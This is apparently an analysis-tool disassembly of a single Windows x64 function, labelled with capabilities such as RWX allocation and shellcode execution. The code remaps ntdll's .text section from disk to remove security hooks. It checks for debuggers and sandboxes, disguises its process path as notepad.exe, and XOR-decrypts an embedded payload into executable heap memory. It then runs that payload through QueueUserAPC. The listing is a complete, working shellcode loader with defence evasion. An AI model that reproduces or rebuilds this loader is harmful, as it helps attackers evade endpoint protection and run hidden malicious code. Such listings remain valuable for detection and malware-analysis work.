Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x810
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x7b0], ecx
mov qword [rbp + 0x7b8], rdx
call fcn.140002930
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x700], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6f8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6f0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x788], rax
cmp qword [rbp + 0x788], 0
jne 0x14000152c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x788], rax
cmp qword [rbp + 0x788], 0
je 0x140001978
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x560]
mov rax, qword [rbp + 0x6f0]
mov r10, qword [rbp + 0x788]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x560]
mov qword [rbp + 0x6e8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x6d8], rax
mov dword [rbp + 0x6d4], 1
mov ecx, 0xc30
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
mov qword [rbp + 0x780], 2
jmp 0x140001647
mov rax, qword [rbp + 0x780]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x780], 1
cmp qword [rbp + 0x780], 0x30b
jbe 0x140001620
mov qword [rbp + 0x780], 2
jmp 0x1400016de
mov rax, qword [rbp + 0x780]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400016d6
mov rax, qword [rbp + 0x780]
mov qword [rbp + 0x778], rax
jmp 0x1400016bf
mov rax, qword [rbp + 0x780]
imul rax, qword [rbp + 0x778]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x778], 1
mov rax, qword [rbp + 0x780]
imul rax, qword [rbp + 0x778]
cmp rax, 0x30b
jbe 0x140001690
add qword [rbp + 0x780], 1
cmp qword [rbp + 0x780], 0x30b
jbe 0x140001661
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6d8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6e8]
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x774], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x768], xmm0
add dword [rbp + 0x774], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x774]
movsd xmm0, qword [0x1400065c0]
addsd xmm0, xmm1
mov rax, qword [0x1400065c8]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003af0
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x774]
addsd xmm0, xmm0
movsd xmm2, qword [0x1400065c0]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x768]
addsd xmm0, xmm1
movsd qword [rbp + 0x768], xmm0
cmp dword [rbp + 0x774], 0x362
jle 0x140001774
movsd xmm1, qword [rbp + 0x768]
movsd xmm0, qword [0x1400065d0]
mulsd xmm0, xmm1
movsd qword [rbp + 0x768], xmm0
mov word [rbp + 0x766], 0
jmp 0x140001960
mov rax, qword [rbp + 0x6b0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x6b0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x766]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14000194f
mov dword [rbp + 0x528], 0
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x528]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x6c0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x528]
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x528]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x766]
add eax, 1
mov word [rbp + 0x766], ax
mov rax, qword [rbp + 0x6b0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x766], ax
jb 0x140001824
mov dword [rbp + 0x760], 0x348
jmp 0x14000198b
sub dword [rbp + 0x760], 1
cmp dword [rbp + 0x760], 0
jg 0x140001984
mov qword [rbp + 0x750], 0
mov dword [rbp + 0x6a4], 0x137
mov dword [rbp + 0x75c], 1
jmp 0x1400019cb
mov eax, dword [rbp + 0x75c]
cdqe
add qword [rbp + 0x750], rax
add dword [rbp + 0x75c], 1
mov eax, dword [rbp + 0x75c]
cmp eax, dword [rbp + 0x6a4]
jle 0x1400019b5
mov dword [rbp + 0x52c], 0
mov rax, qword [rbp + 0x700]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x530]
lea rax, [rbp + 0x52c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x698]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov ecx, 0x1c20
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov dword [rbp + 0x74c], 0
mov dword [rbp + 0x68c], 1
mov dword [rbp + 0x748], 0
jmp 0x140001ae6
mov dword [rbp + 0x744], 0
jmp 0x140001ad6
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x748]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
sub rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x690]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x744]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x744], 1
cmp dword [rbp + 0x744], 0x3b
jle 0x140001a77
add dword [rbp + 0x748], 1
cmp dword [rbp + 0x748], 0x1d
jle 0x140001a6b
mov dword [rbp + 0x748], 0
jmp 0x140001b5c
mov dword [rbp + 0x744], 0
jmp 0x140001b4c
mov eax, dword [rbp + 0x748]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x690]
add rdx, rax
mov eax, dword [rbp + 0x744]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001b45
add dword [rbp + 0x74c], 1
add dword [rbp + 0x744], 1
cmp dword [rbp + 0x744], 0x3b
jle 0x140001b0b
add dword [rbp + 0x748], 1
cmp dword [rbp + 0x748], 0x1d
jle 0x140001aff
cmp dword [rbp + 0x74c], 0x384
je 0x140001b7b
mov dword [rbp + 0x68c], 0
mov rax, qword [rbp + 0x690]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x538]
add rax, 0x3c
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x680]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x680]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
call rax
mov dword [rbp + 0x674], eax
mov ecx, 0x2b0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x678]
call rax
mov dword [rbp + 0x670], eax
mov eax, dword [rbp + 0x670]
sub eax, dword [rbp + 0x674]
cmp eax, 0x27e
jbe 0x140002864
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x668]
mov ecx, 0
call rax
mov dword [rbp + 0x664], eax
cmp dword [rbp + 0x664], 0xffffffff
je 0x140002864
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x650], rax
cmp qword [rbp + 0x650], 0
jne 0x140002864
mov qword [rbp + 0x648], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1cf8e80
mov ecx, 0
call rax
mov qword [rbp + 0x648], rax
cmp qword [rbp + 0x648], 0
je 0x140002864
mov rax, qword [rbp + 0x648]
mov edx, 0x1cf8e80
mov rcx, rax
call fcn.1400047a0
mov rax, qword [rbp + 0x648]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x638], rax
cmp qword [rbp + 0x638], 0
je 0x140001ddc
mov rax, qword [rbp + 0x638]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x630]
mov ecx, 0
call rax
mov dword [rbp + 0x740], eax
cmp dword [rbp + 0x740], 0xffffffff
je 0x140002864
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov ecx, 0
call rax
mov dword [rbp + 0x624], eax
cmp dword [rbp + 0x624], 0xffffffff
je 0x140002864
mov dword [rbp + 0x524], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x524]
mov r8, qword [rbp + 0x618]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x524]
cmp eax, 1
je 0x140002864
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x610], rax
cmp qword [rbp + 0x610], 0
je 0x140002864
mov rax, qword [rbp + 0x610]
mov edx, 0x57f
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x60c], eax
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x600], rax
cmp qword [rbp + 0x600], 0
jne 0x140002864
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x5f8], rax
cmp qword [rbp + 0x5f8], 0
jne 0x140002864
mov ecx, 0x80c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f0], rax
mov ecx, 0x80c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e8], rax
mov dword [rbp + 0x738], 0x202
mov dword [rbp + 0x73c], 0
jmp 0x140001fd6
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x73c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x73c], 1
cmp dword [rbp + 0x73c], 0x202
jle 0x140001f89
mov dword [rbp + 0x73c], 0
jmp 0x140002035
mov eax, dword [rbp + 0x738]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5f0]
add rax, rdx
mov edx, dword [rbp + 0x73c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5e8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x738], 1
add dword [rbp + 0x73c], 1
cmp dword [rbp + 0x73c], 0x202
jle 0x140001fee
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5e8]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, [rbp + 0xa0]
lea rdx, [0x140006140]
mov ecx, 0x8f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov dword [rbp + 0x734], 0xffffffff
add dword [rbp + 0x734], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x38
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065d8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003920
movq rax, xmm0
mov qword [rbp + 0x5e0], rax
cmp dword [rbp + 0x734], 0xf6
jle 0x14000209c
mov rax, qword [rbp + 0x6f8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d8], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d0], rax
mov rax, qword [rbp + 0x5d8]
mov r8d, 0
mov edx, 0x47c
mov ecx, 0x40000
call rax
mov qword [rbp + 0x5c8], rax
mov ecx, 0xb00
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5c0], rax
mov dword [rbp + 0x72c], 0
mov dword [rbp + 0x728], 0
mov dword [rbp + 0x730], 0
jmp 0x1400021c6
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x730]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5c0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x730], 1
cmp dword [rbp + 0x730], 0x2bf
jle 0x140002179
mov dword [rbp + 0x730], 0
mov dword [rbp + 0x730], 0
jmp 0x140002245
mov eax, dword [rbp + 0x730]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5c0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140002214
add dword [rbp + 0x72c], 1
jmp 0x14000223e
mov eax, dword [rbp + 0x730]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5c0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x14000223e
add dword [rbp + 0x728], 1
add dword [rbp + 0x730], 1
cmp dword [rbp + 0x730], 0x2bf
jle 0x1400021e8
mov rax, qword [rbp + 0x5c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5c8]
mov r9, qword [rbp + 0x5d0]
mov r8d, 0x47c
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x5b8], rax
mov rax, qword [rbp + 0x700]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b0], rax
lea rdx, [rbp + 0xa0]
mov rax, qword [rbp + 0x5b8]
mov r9, qword [rbp + 0x5b0]
mov r8d, 0x47c
mov rcx, rax
call r9
mov dword [rbp + 0x724], 0
mov dword [rbp + 0x720], 0
mov dword [rbp + 0x71c], 0
movabs rax, 0xfe87053b21c6224a
movabs rdx, 0xf93526fde851a97
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xceeb26173f51de4b
movabs rdx, 0xe7196c77bb091b5
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x6dc22ca0a92070a
movabs rdx, 0x31c56c9a97c2435b
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x9c04c7d9eb8d31c5
movabs rdx, 0x5aab50d54565b7
mov qword [rbp + 0x2e], rax
mov qword [rbp + 0x36], rdx
movabs rax, 0xe42837665f5d864e
movabs rdx, 0xbac36527c9014728
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xa11c446a503841be
movabs rdx, 0x6d0ca4e1bff97f2e
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x3628a2fbad93f7e6
movabs rdx, 0x67a258e5f31f0e10
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xb212db056cd1ce3a
movabs rdx, 0xf12ab61dce5d0158
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x7c04cf1b671afc1d
movabs rdx, 0xe04548c4a5ad64d9
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x6791b3a6daabe2e0
movabs rdx, 0x2c9a1888712f27
mov qword [rbp + 0x8f], rax
mov qword [rbp + 0x97], rdx
jmp 0x1400025af
cmp dword [rbp + 0x720], 0x5d
jne 0x14000244f
mov eax, dword [rbp + 0x724]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x720]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x724]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x720], 0
jmp 0x1400025a8
mov eax, dword [rbp + 0x724]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x720]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x724]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x584], 0
mov ecx, 0x9c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x578], rax
mov dword [rbp + 0x718], 0
jmp 0x140002582
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x584], edx
mov edx, dword [rbp + 0x584]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x584], eax
cmp dword [rbp + 0x584], 0x168
jle 0x140002508
mov eax, dword [rbp + 0x718]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x578]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x14000257b
cmp dword [rbp + 0x584], 0
jns 0x140002535
mov eax, dword [rbp + 0x718]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x578]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x14000257b
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x584]
movsd xmm0, qword [0x1400065e0]
mulsd xmm0, xmm1
movsd xmm1, qword [0x1400065e8]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x718]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x578]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x718], 1
cmp dword [rbp + 0x718], 0x271
jle 0x1400024a1
mov rax, qword [rbp + 0x578]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x720], 1
add dword [rbp + 0x724], 1
mov eax, dword [rbp + 0x724]
cmp eax, 0x3c
jbe 0x14000240f
mov dword [rbp + 0x724], 0
mov ecx, 0x7e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5a8], rax
mov dword [rbp + 0x714], 0
mov dword [rbp + 0x5a4], 1
mov dword [rbp + 0x710], 0
jmp 0x14000267d
mov dword [rbp + 0x70c], 0
jmp 0x14000266d
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x710]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
add rax, rax
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x5a8]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x70c]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x70c], 1
cmp dword [rbp + 0x70c], 0x15
jle 0x140002608
add dword [rbp + 0x710], 1
cmp dword [rbp + 0x710], 0x16
jle 0x1400025fc
mov dword [rbp + 0x710], 0
jmp 0x1400026f9
mov dword [rbp + 0x70c], 0
jmp 0x1400026e9
mov eax, dword [rbp + 0x710]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x5a8]
add rdx, rax
mov eax, dword [rbp + 0x70c]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x1400026e2
add dword [rbp + 0x714], 1
add dword [rbp + 0x70c], 1
cmp dword [rbp + 0x70c], 0x15
jle 0x1400026a2
add dword [rbp + 0x710], 1
cmp dword [rbp + 0x710], 0x16
jle 0x140002696
cmp dword [rbp + 0x714], 0xfd
je 0x140002718
mov dword [rbp + 0x5a4], 0
mov rax, qword [rbp + 0x5a8]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x1400027cb
cmp dword [rbp + 0x71c], 0x3c
jne 0x14000277f
mov eax, dword [rbp + 0x724]
movsxd rdx, eax
mov rax, qword [rbp + 0x5b8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x71c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x724]
movsxd rdx, eax
mov rax, qword [rbp + 0x5b8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x71c], 0
jmp 0x1400027c4
mov eax, dword [rbp + 0x724]
movsxd rdx, eax
mov rax, qword [rbp + 0x5b8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x71c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x724]
movsxd rdx, eax
mov rax, qword [rbp + 0x5b8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x71c], 1
add dword [rbp + 0x724], 1
cmp dword [rbp + 0x724], 0x47b
jle 0x14000272c
mov rax, qword [rbp + 0x5b8]
mov qword [rbp + 0x598], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x588], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x598]
mov r9, qword [rbp + 0x590]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x588]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x810
pop rsi
pop rdi
pop rbp
ret